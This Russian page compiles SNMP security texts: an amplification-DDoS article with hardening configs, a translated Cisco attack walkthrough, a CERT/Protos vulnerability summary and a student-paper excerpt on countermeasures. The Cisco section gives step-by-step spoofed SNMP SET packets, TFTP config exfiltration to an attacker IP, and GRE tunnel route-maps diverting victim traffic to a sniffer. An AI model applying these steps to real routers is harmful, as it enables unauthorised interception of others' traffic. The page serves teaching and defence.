Протокол snmp методы сетевых атак и защиты. Описание протокола SNMP (Simple Network Management Protocol). Эффективный контроль над сетью

По согласованию с редакцией журнала публикую свою статью "Защита от DDoS подручными средствами. Часть 3. SNMP Amplification" из номера 164-165 (июль-август 2016) выпуска журнала "Системный администратор" .

Чтобы сделать свой вклад в защиту всемирного киберпространства от DDoS, совсем не обязательно покупать дорогостоящее оборудование или сервис. Любой администратор сервера, доступного из Интернет, может поучаствовать в столь благородном деле без дополнительных материальных вложений, используя только знания и немного времени.

Рассмотрим DDoS-атаки типа "усиление"(amplification) с использованием сервиса SNMP .

SNMP amplification

Суть атаки заключается в том, чтобы инициировать многократно увеличенный ответ на SNMP- запрос. Изначально разработанные для автоматизации получения табличных данных при минимизации количества отправляемых пакетов BULK- запросы стали довольно эффективным инструментом проведения DDoS- атак в руках злоумышленников. Как гласит RFC3416, GetBulkRequest, р еализованный в SNMP версии 2, предназначен для возможности запросить большой объем данных, чем и пользуются атакующие, используя неправильно настроенные сервера в Интернет.

Если установить максимальное число возвращаемых строк в таблице 20000 и выполнить запрос в адрес неправильно настроенного сервера/устройства:

:~$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1

ответ выдаст приблизительно следующее:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent - Windows 2003 - x86 - 5.2"

< пропущено 290 строк >

iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12.123.123.12 = No more variables left in this MIB View (It is past the end of the MIB tree)

При этом запущенный tcpdump покажет размер возвращенного пакета:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129.snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet

21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

В ответ на запрос размером около 70 байт с учетом заголовков сервер возвращает ответ размером порядка 10 килобайт, то есть, почти в 150 раз больше. Коэффициент усиления не фиксирован и может принимать как большее (достигая 1700 раз), так и меньшее значение, в зависимости от типа ОС и параметров конфигурации устройства. Если при формировании подобного запроса использовать подмену IP- адреса отправителя на адрес жертвы и высокую интенсивность обращений к уязвимому серверу — DDoS- атака готова.

Причина

Суть проблемы заключается, как правило, не в уязвимости, не в настройке количества отдаваемых значений на один GetBulkRequest, а в том, что значение SNMP community установлено по умолчанию: public – read-only или, что еще хуже, private – read-write. Протокол SNMP версий 1 и 2 основан на UDP, используется для мониторинга и управления, а в качестве аутентификационного параметра доступа к управляемому оборудованию использует значение community, которое может быть задано только для чтения (read-only ) либо с возможностью записи (read-write ). Зачастую в системах при активации сервиса SNMP устанавливается значение по умолчанию — public для read-only и private для read-write. Даже если абстрагироваться от возможности использования некорректно настроенного сервера в качестве рефлектора для усиления атак SNMP, то очевидна угроза получения информации о сервере, установленном на нем ПО и его версиях, при использовании значения public по умолчанию для read-only. Практически безграничный привилегированный доступ с правами администратора к устройству дает read-write community private . Даже если не будет производиться вредоносных изменений, интенсивные запросы с использованием протокола SNMP могут вызвать значительную нагрузку на вычислительные ресурсы опрашиваемого сервера, чем повлиять на качество предоставляемых им сервисов.

Защита

Специфические для SNMP рекомендации по обеспечению безопасности сервера либо сетевого оборудования можно разделить на такие направления:

1. Архитектурное: разрешение обработки запросов только на интерфейсах, недоступных из недоверенных сетей.

2. Смена community на более трудноугадываемое.

3. Ограничение IP- адресов управляющих станций.

4. Ограничение ветки OID, доступной для получения/изменения по SNMP.

5 . Минимизация либо отказ от использования community на чтение и запись.

6 . Переход на SNMP версии 3 с использованием дополнительных параметров аутентификации и шифрования.

7. Отключение SNMP, если не используется.

Как выполнить эти действия на разных операционных системах?

В конфигурационном файле сервиса snmp настраиваются следующие параметры:

agentAddress udp:10.0.0.1:161 # IP- адрес, протокол и порт, принимающий запросы SNMP

Если Unix- сервер по сути является маршрутизатором и архитектурно имеет несколько интерфейсов, для безопасности необходимо оставить доступным по SNMP только интерфейс, достуный из доверенного сегмента, но не из Интернет. Имя community для доступа задается параметром rocommunity (read-only ) либо rwcommunity (read-write), также возможно задать подсеть, доступ из которой разрешен, и ветку OID, доступную для работы указанной подсети с заданными правами строки community. Например, для того, чтобы разрешить системам мониторинга из подсети 10.0.0.0/24 доступ к информации по интерфейсам (OID 1.3.6.1.2.1.2 ), используя строку доступа MaKe_It_SeCuRe с правами только для чтения, конфигурационный фрагмент будет выглядеть следующим образом:

rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2

В частных случаях использования разнообразных Unix- систем вышеуказанная строка может иметь несколько видоизмененный синтаксис за счет использования других параметров и иерархической структуры компонентов конфигурационного файла. Подробное описание можно найти, набрав команду

man snmpd.conf

Но если задача состоит в том, чтобы максимально быстро обеспечить безопасность сервиса snmpd, который до этого был настроен неправильно предшественником, можно создать резервную копию snmpd.conf, в новый конфигурационный файл внести ограничения по подсети систем мониторинга и изменить community. В Debian это будет выглядеть следующим образом:

# cd < директория с snmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf

# /etc/init.d/snmpd restart

После этого доступ по SNMP к серверу будет только у подсети 10.0.0.0/24 с использованием нового community, при этом все сервера, на которых не изменено community на новое, перестанут получать ответы на запросы, как и злоумышленники.

Более безопасным будет переход на использование SNMPv3, в котором существует возможность варьирования параметров аутентификации. Кроме того, в отличие от версий 1 и 2c, SNMPv3 позволяет обеспечить шифрование трафика между системой мониторинга и опрашиваемым оборудованием. Для создания пользователя с правами только на чтение, аутентификацией и шифрованием трафика, в конфигурационный файл snmpd.conf необходимо добавить:

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser read v3user authpriv 1.3.6.1.2.1 . 2

Соответственно, пользователь v3user получит права read-only для просмотра ветки 1.3.6.1.2.1.2 по SNMP.

Проверить корректность конфигурации можно после рестарта сервиса SNMP на сервере 192.168.10.128 командой, выполненной на клиенте:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1

При этом, несмотря на то, что опрашиваться будет все дерево, начиная с 1, сервер отдаст только разрешенную ветку 1.3.6.1.2.1. 2 , которая будет задана в конфигурации.

При отказе от SNMP v1/v2c в пользу SNMPv3 необходимо также удалить из конфигурационного файла фрагменты настройки, не имеющие отношение к SNMPv3.

Если же SNMP для мониторинга сервера не используется, наиболее верным решением будет удаление пакета snmpd.

В Cisco IOS отсутствует возможность выбора интерфейса, который будет обрабатывать запросы SNMP. Ограничение выполняется с помощью списков доступа (access-control list, ACL ) . Предположим, разрешенной будет подсеть 10.0.0.0/24. Создается ACL:

(config)#access-list 10 permit 10.0.0.0 0.0.0.255

который затем применяется к соответствующему community для SNMP v1/v2c, в данном примере MaKe_It_SeCuRe с правом доступа только на чтение :

(config)#snmp-server community MaKe_It_SeCuRe RO 10

Ограничение к веткам SNMP OID применяется с помощью view

(config)# snmp-server view IFACES 1.3.6.1.2.1. 2 included

после чего к созданному view прикрепляется community:

(config)#snmp-server community MaKe_It_SeCuRe view IFACES RO 10

Для того, чтобы использовать SNMPv3 с необходимыми ограничениями (аутентификация и шифрование, только чтение, доступ из подсети 10.0.0.0/24 к ветке интерфейсов, обозначенной во view IFACES) , необходимо создать группу (SECURE) с доступом на чтение только к OID из view IFACES и необходимостью аутентификации с шифрованием, привязав ее к созданному ранее access-list 10 :

(config)# snmp-server group SECURE v3 priv read IFACES access 10

затем добавить в группу учетную запись пользователя (v3user) , задав ему пароли на аутентификацию и шифрование, а также алгоритм шифрования (в данном случае AES128 ):

(config)# snmp-server user v3user SECURE v3 auth sha Strong_Password priv aes 128 Priv_Password

Итого, защитить свои сервера и сеть от несанкционированного доступа с использвоанием протокола SNMP, уменьшить количество DDoS-атак типа SNMP amplification и минимизировать участие в них своего инфраструктурного сегмента можно с помощью следующих действий, не требующих дополнительных финансовых вложений:

Управление оборудованием только из доверенного сегмента сети . Ограничение посредством привязки сервиса к определенному интерфейсу либо с помощью списков доступа.

Изменение значений SNMP community по умолчанию (public и private) на трудноугадываемые .

Ограничение ветки OID, доступной для получения/изменения по SNMP.

Использование только SNMPv 3 с применением дополнительных параметров аутентификации и шифрования.

Отключение сервиса SNMP с удалением кофигурации — в случае принятия решения о полном отказе от SNMP.

И если так поступит каждый администратор серверов, доступных из сети Интернет, цифровой мир приблизится еще на один шаг к совершенству .

Атака на Cisco через SNMP

Alexander Antipov

Матиай Арони и Уильям М. Идальго, перевод Владимир Куксенок

Введение

Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса (Filip Waeytens), запущенной на Windows 2000 Server с включенным SNMP сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки

Ознакомьтесь со сценарием атаки. Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes ! version 12.3 ! hostname Victim ! enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interface Ethernet0/0 ip address dhcp ip nat outside half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip nat inside half-duplex ! router rip network 192.168.1.0 ! ip nat inside source list 102 interface Ethernet0/0 overload no ip http server ip classless ! access-list 1 permit 192.168.1.0 0.0.0.255 access-list 102 permit ip any any ! snmp-server community public RO snmp-server community private RW 1 snmp-server enable traps tty ! line con 0 logging synchronous login line aux 0 line vty 0 4 password secret login ! ! end

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:

1. Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора.
2. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 - 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05, что и продемонстрировано на Рисунке 3.

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):

[email protected]:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - by FX Thanx go to Lamont Granquist & fyodor for their hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@[email protected]....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [email protected]". 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router. 636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 [email protected]:~# После этого наш TFTP сервер примет соединение, Ethereal-лог которого показан на Рисунке 4.


Рисунок 4. Соединение с TFTP сервером, перехваченное Ethereal.

Обратите внимание на обратный IP адрес SNMP пакета и на TFTP запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.

GRE туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:

• Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера.
• Определить, какой трафик будет проходить через туннель.
• Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

• Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x . Для обмена данными оба конца туннеля должны находиться в одной подсети.
• Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?)
• Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера.
• Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

Access-list 101 permit tcp any any eq 443 access-list 101 permit tcp any any eq 80 access-list 101 permit tcp any any eq 21 access-list 101 permit tcp any any eq 20 access-list 101 permit tcp any any eq 23 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110 Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Эта запись несет в себе следующий смысл:

• Мы определили имя карты маршрутизации (divert-traffic) и затем использовали команду ‘match’, чтобы указать, что в качестве условия соответствия нужно использовать набор правил доступа 101 (access-list).
• В качестве next-hop адреса мы указали IP адрес атакующего.
• Мы применили карту маршрутизации к внешнему LAN-интерфейсу атакуемой машины. Результатом этого будет слежение за всем входящим и исходящим трафиком Ethernet0/0.

Маршрутизатор хакера

Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.

Начнем с создания GRE туннеля на маршрутизаторе атакующего: Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 Attacker(config-if)# tunnel destination Attacker(config-if)# tunnel mode gre ip Attacker(config)# access-list 101 permit ip any any Attacker(config)# router-map divert-to-sniffer Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route-map divert-to-sniffer Эти правила означают следующее:

• Мы создали правило доступа, разрешающее все типы трафика.
• Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер).
• Созданное правило доступа используется в качестве условия соответствия.
• В качестве next-hop адреса мы указали IP адрес атакующего (sniffer).
• Мы применили карту маршрутизации к интерфейсу tunnel0.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out Attacker(config-route-map)# match ip address 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map)# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Эти дополнительные настройки означают следующее:

• После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор.
• Мы применили карту маршрутизации к Ethernet интерфейсу.

Атакующий (sniffer)

Начинаем атаку

Нам нужно создать поддельный SNMP SET запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того чтобы получить базовый пакет мы снова отправим обычный запрос:

[email protected]# ./merge-router-config.pl ###################################################### # Merge Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./merge-copy-config.pl Make sure a TFTP server is set up, prefferably running from /tmp ! [email protected]# Перехватим этот пакет и изменим обратный IP адрес и некоторые другие поля заголовка пакета, как показано на Рисунке 5.


Рисунок 5. Изменение заголовка пакета.

После отправки модифицированного пакета, будет создано TFTP соединения с нашим компьютером (Рисунок 6).

Обратите внимание на TFTP запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:

*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5 Заметьте, что адрес TFTP сервера отличается от IP адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рисунке 7.


Рисунок 7. GRE туннель.

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Предположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рисунке 8.


Рисунок 8. Жертва ищет информацию о GRE туннелях.

В результате этих действий, Ethereal на компьютере атакующего получит пакеты, показанные на Рисунке 9.

Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.

Заключение

В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP сервера (находящегося на атакованном нами маршрутизаторе) хватило бы, чтобы сорвать атаку.

Скептики могут спросить “Как атакующий узнал о правилах доступа / имени SNMP группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP адреса, и такая утилита уже существует.

Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.

Информация об укреплении защиты маршрутизаторов Cisco может быть найдена на сайте

Однако недавний отчет, подготовленный координационным центром CERT Coordination Center , специализирующимся на вопросах компьютерной защиты, показал, что в реализациях SNMP есть множество недостатков, из-за которых продукты более ста производителей оказываются уязвимыми для атак. При умелом использовании этих недостатков хакер может получить несанкционированный доступ с широкими привилегиями, организовать DoS-атаку или предпринять другие вредоносные действия.

Основной протокол связи в SNMP - это UDP (User Datagram Protocol). Если агенты SNMP анализируют данные с порта UDP 161 при получении запросов от NMS, то NMS анализирует поток, передаваемый через порт UDP 162 для получения асинхронных сообщений. На рис. 1 показана упрощенная архитектура SNMP-управления, где динамический порт назначает операционная система. SNMP поддерживает простейшую аутентификацию с помощью имени сообщества, которое служит в качестве пароля для получения или изменения данных, существенных для задач управления.

Исследователи из финского университета Оулу разработали тесты, которые позволяют обнаружить множество уязвимых мест в реализациях SNMPv1. Тестовые пакеты, как правило, используются для анализа протокола и порождают сообщения, которые проверяют выполнение различных ограничений архитектуры.

Исследователи обнаружили следующие уязвимые места SNMP .

• Обработка сообщений trap. Множество недостатков было выявлено в том, как различные станции NMS (network management station) декодируют и обрабатывают trap-сообщения.
• Обработка запросов. Тестирование показало наличие некорректностей при декодировании и обработке запросов SNMP различными агентами.

Эти уязвимые места возникли из-за неудовлетворительной проверки сообщений SNMP в тот момент, когда они были получены и обрабатывались атакуемой системой. Эти дефекты могут привести к DoS-атакам, уязвимости форматной строки и переполнению буферов.

Некоторые из уязвимых мест, обнаруженные Protos, не требуют, чтобы в сообщениях SNMP присутствовало корректное имя сообщества, в силу чего использовать такие уязвимые места очень легко. Кроме того, поскольку UDP - коммуникационный протокол, не требующий установления соединения, агенты SNMP и NMS, поддерживающие trap, принимают входящие запросы и сообщения trap без каких-либо предварительных настроек сеанса. Большинство продуктов, ориентированных на SNMP, выпускаются со строками сообщества по умолчанию public («общедоступный») для доступа только на чтение и private («частный») для доступа с правами чтения и записи. Строка имени сообщества интегрирована в сообщение SNMP и передается по сети в виде обычного текста. Даже если эта строка указана корректно, она уязвима для перехвата пакетов.

Для блокирования атак, использующих эти дефекты защиты, контроля сетевого доступа также недостаточно, поскольку адреса отправителей UDP легко сфальсифицировать spoofing. Хакер может послать пакеты, указав фальшивый адрес отправителя, и вывести из строя устройство-получатель. Более того, некоторые реализации SNMP по умолчанию разрешают пересылать пакеты SNMP широковещательно. Хакеры могут легко распространить широковещательные пакеты, чтобы поразить всю сеть целиком, даже если им не известен адрес конкретного устройства и имя сообщества SNMP .

Оценка угроз

Уязвимые места могут создать условия для DoS-атаки или для прерывания обслуживания, и, в некоторых случаях, могут позволить хакеру получить доступ к устройству. Конкретные проявления меняются от продукта к продукту. Поскольку в большинстве случаев службы SNMP по умолчанию не включены, для домашних пользователей эти дефекты не представляют прямой угрозы. Однако так как SNMPv1 широко применяется в важнейших устройствах сетевой инфраструктуры, использование этих изъянов может привести к нестабильности и прерыванию работы крупномасштабной сети. В частности, если хакеры сочетают эти уязвимые места с дефектами защиты в протоколах маршрутизации Internet, таких как Border Gateway Protocol, проникновение на один магистральный маршрутизатор может привести к нестабильности всей Сети. Если большое число сетевых устройств имеет общий дефект, связанный с переполнением буфера в SNMP, то хакеры могут написать червя наподобие Code Red, который будет использовать этот изъян, что может привести к еще одной волне появления червей.

Решения

Пользуясь данными бюллетеня CERT, перечислим некоторые общие решения, способные защитить сеть .

Сканеры SNMPv1. Некоторые организации выпустили инструментальные средства, которые сканируют сеть в поисках устройств, на которых работает протокол SNMP. SNMPing, разработанный в SANS, представляет собой инструментарий на базе Windows, который ищет демонов SNMP на порту 161 или на другом порту. SNScan, аналогичная утилита, разработанная в Foundstone, быстро и точно выявляет в сети устройства, ориентированные на SNMP.

Заплатки. Обнаружив в сети устройства, ориентированные на SNMP, целесообразно связаться с производителями этих устройств, чтобы выяснить, разработали ли они необходимые заплатки.

Отключение службы SNMP. Если для вашей сети служба SNMP не нужна, в CERT рекомендуют отключить или удалить эту службу. Однако тестирование OUSPG показало, что некоторые из потенциально уязвимых продуктов оказались восприимчивы к DoS-атакам или другим нарушающим стабильность работы сети действиям даже при отключенном SNMP.

Фильтрация на входе. Межсетевые экраны и маршрутизаторы можно настроить таким образом, чтобы они выполняли входную фильтрацию портов UDP 161 и 162, что может предотвратить инициируемые из внешней сети атаки на уязвимые устройства в локальной сети. Другие порты, поддерживающие службы, связанные с SNMP, в том числе порты TCP и UDP 161, 162, 199, 391, 750 и 1993, также могут потребовать входной фильтрации.

Выходная фильтрация. Устройства, которые предоставляют общедоступные службы, в обычной ситуации не инициируют исходящий трафик в Internet. Чтобы управлять трафиком, исходящим из сети, реализуйте выходную фильтрацию. Фильтрация исходящего трафика на портах UDP 161 и 162 на границе сети может предотвратить использование вашей системы в качестве плацдарма для атаки.

Изменение строк сообщества по умолчанию. Как уже отмечалось, большинство продуктов, ориентированных на SNMP, имеют по умолчанию строки сообщества public для доступа только на чтение и private для доступа с правом на чтение и запись. Необходимо изменить эти задаваемые по умолчанию значения строк сообществ. Новое имя сообщества, однако по-прежнему будет уязвимо для перехвата пакетов.

Обновление сигнатур. Еще одним решением может стать поддержка в актуальном состоянии сигнатур IDS. Сигнатуры, которые напрямую касаются дефектов, обнаруженных в рамках проекта Protos, теперь можно получить у многих производителей систем обнаружения вторжений. Например, Snort, сообщество разработчиков свободно распространяемых решений для обнаружения вторжений в сеть, разработало набор правил, ориентированных на обработку искаженных пакетов и созданных с помощью пакета Protos. Компания Cisco Systems обновила сигнатуру для своей системы Secure Intrusion Detection System, которую можно получить анонимно. Internet Security Systems выпустила общую сигнатуру для своих продуктов RealSecure и BlackICE.

Простота популярного протокола SNMP имеет своим следствием повышенную уязвимость. Поскольку SNMP применяется очень широко, эксплуатация сетей с уязвимыми продуктами может привести к гибельным последствиям. Сотрудники CERT, исследователи и производители предлагают ряд решений, позволяющих минимизировать потенциальные атаки, использующие эти уязвимые места.

Джуофей Джианг ([email protected]) - ведущий инженер-исследователь Института исследований в области технологий безопасности колледжа в Дартмуте. К области его научных интересов относятся компьютерные сети и безопасность, распределенные информационные системы, мобильные агенты и машинное обучение.

Guofei Jiang. Multiple Vulnerabilities in SNMP. Security & Privacy - 2002, Supplement to IEEE Computer. 2002, IEEE Computer Society, All rights reserved. Reprinted with permission.

Литература

1 180руб.

СОДЕРЖАНИЕ
ВВЕДЕНИЕ 3
1. ТЕОРЕТИЧЕСКОЕ ОБОСНОВАНИЕ ПРОБЛЕМЫ ИССЛЕДОВАНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХОДИМОСТЬ ИЗУЧЕНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИСАНИЕ, ПРЕДНАЗНАЧЕНИЕ 7
2. АНАЛИЗ АТАК НА ПРОТОКОЛ SNMP И СПОСОБОВ ПРОТИВОДЕЙСТВИЯ
2.1 ТЕХНИКИ АТАК НА ПРОТОКОЛ SNMP И СПОСОБЫ ИХ ПРЕДОТВРАЩЕНИЯ 11
2.2 СПОСОБЫ ПРОТИВОДЕЙСТВИЯ АТАКАМ НА ПРОТОКОЛ SNMP 15
ЗАКЛЮЧЕНИЕ 20
СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 21

Фрагмент работы для ознакомления

Рисунок 3 -Экранная форма утилиты SoftPerfectNetworkScannerЗаплаткиПроизводители многих сетевых устройств разрабатывают так называемые заплатки, использование которых необходимо при обнаружении в системе уязвимостей. Таким образом, обнаружив в сети устройства, ориентированные на SNMP, целесообразно связаться с производителями этих устройств, чтобы выяснить, разработали ли они необходимые заплатки.Отключение службы SNMPМногие специалисты склоняются к мнению, что при отсутствии необходимости в службе SNMP ее следует отключить или удалить. Приведем алгоритм отключения службы SNMP в операционной системе Windows:Выбор меню Пуск – Панель управления – Администрирование – Службы (см. рис. 4). Выбор службы SNMP. Если служба запущена, нажимаем на кнопку “Остановить”, а затем выбираем “Тип запуска” – “Отключена”.Рисунок 4 – Отключение службы SNMPСтоит заметить, что некоторые из потенциально уязвимых продуктов остаются восприимчивыми к DoS-атакам или другим нарушающим стабильность работы сети действиям даже при отключенном SNMP.Фильтрация на входеФильтрация на входе основывается на настройке межсетевых экранов и маршрутизаторов так, чтобы они выполняли входную фильтрацию портов UDP 161 и 162. Это позволит предотвратить инициируемые из внешней сети атаки на уязвимые устройства в локальной сети. Другие порты, поддерживающие службы, связанные с SNMP, в том числе порты TCP и UDP 161, 162, 199, 391, 750 и 1993, также могут потребовать входной фильтрации.Фильтрация на выходеДля эффективной защиты возможна организация выходной фильтрации, которая направлена на управление трафиком, исходящем из сети.Фильтрация исходящего трафика на портах UDP 161 и 162 на границе сети может предотвратить использование вашей системы в качестве плацдарма для атаки.Системы обнаружения и предотвращения вторженийСистема обнаружения вторжений (СОВ) (англ. IntrusionDetectionSystem (IDS)) представляет собой программное или аппаратное средство, которое обнаруживает события несанкционированного проникновения (вторжения или сетевой атаки) в компьютерную систему или сеть .Без IDS становится немыслима инфраструктура сетевой безопасности. Дополняя межсетевые экраны, которые функционирую на основе правил безопасности, IDS осуществляют мониторинг и наблюдение за подозрительной активностью. Они позволяют выявить нарушителей, проникших за межсетевой экран, и сообщить об этом администратору, который, примет необходимое решение для поддержания безопасности. Методы выявления вторжений не гарантируют полную безопасность системы.В результате использования IDS достигаются следующие цели:выявление сетевой атаки или вторжения;составление прогноза о вероятных будущих атаках и определение слабых мест системы для предотвращения их использования. Во многих случаях злоумышленник выполняет стадию подготовки, например, зондирует (сканирует) сеть или тестирует ее иным способом, чтобы обнаружить уязвимости системы;осуществление документирования известных угроз;слежение за качеством выполняемого администрирования с 